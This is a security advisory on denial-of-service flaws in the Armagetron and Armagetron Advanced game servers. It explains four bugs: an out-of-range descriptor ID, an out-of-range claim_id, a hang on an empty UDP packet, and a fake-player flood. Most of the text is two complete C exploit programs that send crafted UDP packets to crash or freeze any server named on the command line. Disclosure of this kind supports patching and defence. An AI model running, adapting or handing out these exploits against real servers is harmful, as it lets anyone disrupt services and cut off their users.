Armagetron DoSSummary
Armagetron is "the well known and played opensource multiplayer game developed by Manuel Moos. Recently the project Armagetron (until version 0.2.6.0) has been declared dead and is unofficial successor is Armagetron Advanced".
Due to multiple vulnerabilities in Armagetron a remote attacker can cause the program to no longer respond to legitimate requests or to completely crash.
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/atron-adv.txt
Details
Vulnerable Systems:
* Armagetron version 0.2.6.0 and prior
* Armagetron Advanced version 0.2.7.0 and prior
Large descriptor ID DoS:
The game uses an array of 400 descriptors, but clients can pass their descriptor ID using a 16 bits number (allows supplying a number in the range of 0 to 65535). In short a packet with an ID above the 400 is able to crash the server due to the access to an unallocated section of the array.
Large claim_id DoS:
Just like the bug described above, a user can control a 16 bit value that points to an array of 18 elements (this is inside the ANET_AddrCompare() function).
Unreacheable Socket by Sending an Empty Packet:
The game utilizes asynchronous sockets through the FIONREAD function. The FIONREAD function returns the number of bytes received in the last packet (0 if there are no new packets). If the server receives an empty UDP packet it will continue to check the socket's queue infinitely since there are still 0 bytes and in the meantime it will not handle any other packets, causing all connected clients to disconnect.
Fake Players Causing Temporary Freeze:
Connecting to the server multiple times and not sending data (timeout) will cause the server to freeze.
Exploit:
atronboom:
For the first 3 vulnerabilities, the following exploit code can be used:
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/atronboom.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 4534
#define TIMEOUT 3
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
void show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
info[] =
"\x00\x35"
"\x00\x00"
"\x00\x00"
"\x00\x00",
pck[] =
"\x00\x06" // ID
"\x00\x26"
"\x00\x01"
"\x00\x04"
"\x00\x00"; // peers[claim_id]
setbuf(stdout, NULL);
fputs("\n"
"Armagetron / Armagetron Advanced <= 0.2.7.0 server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%d)]\n"
"\n"
"Attack:\n"
" 1 = crash caused by big descriptor ID\n"
" 2 = crash caused by big claim_id\n"
" 3 = socket unreacheable through empty packet\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- retrieve informations:\n", stdout);
SEND(info);
RECV;
show_info(buff, len);
fputs("- send BOOM packet\n", stdout);
switch(atoi(argv[1])) {
case 1: {
*(u_short *)pck = htons(0xffff);
SEND(pck);
} break;
case 2: {
*(u_short *)(pck + sizeof(pck) - 3) = htons(0xffff);
SEND(pck);
} break;
case 3: {
SEND("");
} break;
default: {
fputs("\nError: wrong type of attack selected\n\n", stdout);
exit(1);
}
}
fputs("- check server:\n", stdout);
SEND(info);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
void show_info(u_char *data, int len) {
#define SHOW(x) sz = *(u_short *)data; \
data += 2; \
if(sz > 1) printf(x "%s\n", data); \
data += sz + (sz & 1);
u_short *ds,
sz,
players;
u_char *p,
*p1;
ds = (u_short *)data;
for(len >>= 1; len--; ds++) {
*ds = ntohs(*ds);
}
fputc('\n', stdout);
data += 14;
SHOW(" Hostname ");
players = *(u_short *)data;
data += 12;
SHOW(" version ");
data += 4;
sz = *(u_short *)data;
data += 2;
printf(" %d players:\n", players);
for(p = data; players--; p = p1 + 1) {
p1 = strchr(p, '\n');
if(!p1) break;
*p1 = 0x00;
printf(" - %s\n", p);
}
data += sz + (sz & 1) + 4;
SHOW(" URL ");
fputc('\n', stdout);
#undef SHOW
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
atronfp:
For the last vulnerability, the following exploit code can be used:
/*
by Luigi Auriemma - http://aluigi.altervista.org/fakep/atronfp.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 4534
#define TIMEOUT 3
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err(); \
fputc('.', stdout);
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err(); \
fputc('.', stdout);
void show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
int sd,
len,
on = 1;
u_short port = PORT,
*claim_id;
u_char buff[BUFFSZ],
info[] =
"\x00\x35"
"\x00\x00"
"\x00\x00"
"\x00\x00",
pck[] =
"\x00\x06" // ID
"\x00\x26"
"\x00\x01"
"\x00\x04"
"\x00\x00"; // claim_id
setbuf(stdout, NULL);
fputs("\n"
"Armagetron / Armagetron Advanced Fake Player DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- retrieve informations:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND(info);
RECV;
close(sd);
show_info(buff, len);
claim_id = (u_short *)(pck + sizeof(pck) - 3);
for(;;) {
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
peerl.sin_port++;
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peer))
< 0) std_err();
SEND(pck);
RECV;
close(sd);
sleep(ONESEC);
*claim_id = htons((ntohs(*claim_id) + 1) & 15); /* useless!!! */
}
return(0);
}
void show_info(u_char *data, int len) {
#define SHOW(x) sz = *(u_short *)data; \
data += 2; \
if(sz > 1) printf(x "%s\n", data); \
data += sz + (sz & 1);
u_short *ds,
sz,
players;
u_char *p,
*p1;
ds = (u_short *)data;
for(len >>= 1; len--; ds++) {
*ds = ntohs(*ds);
}
fputc('\n', stdout);
data += 14;
SHOW(" Hostname ");
players = *(u_short *)data;
data += 12;
SHOW(" version ");
data += 4;
sz = *(u_short *)data;
data += 2;
printf(" %d players:\n", players);
for(p = data; players--; p = p1 + 1) {
p1 = strchr(p, '\n');
if(!p1) break;
*p1 = 0x00;
printf(" - %s\n", p);
}
data += sz + (sz & 1) + 4;
SHOW(" URL ");
fputc('\n', stdout);
#undef SHOW
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
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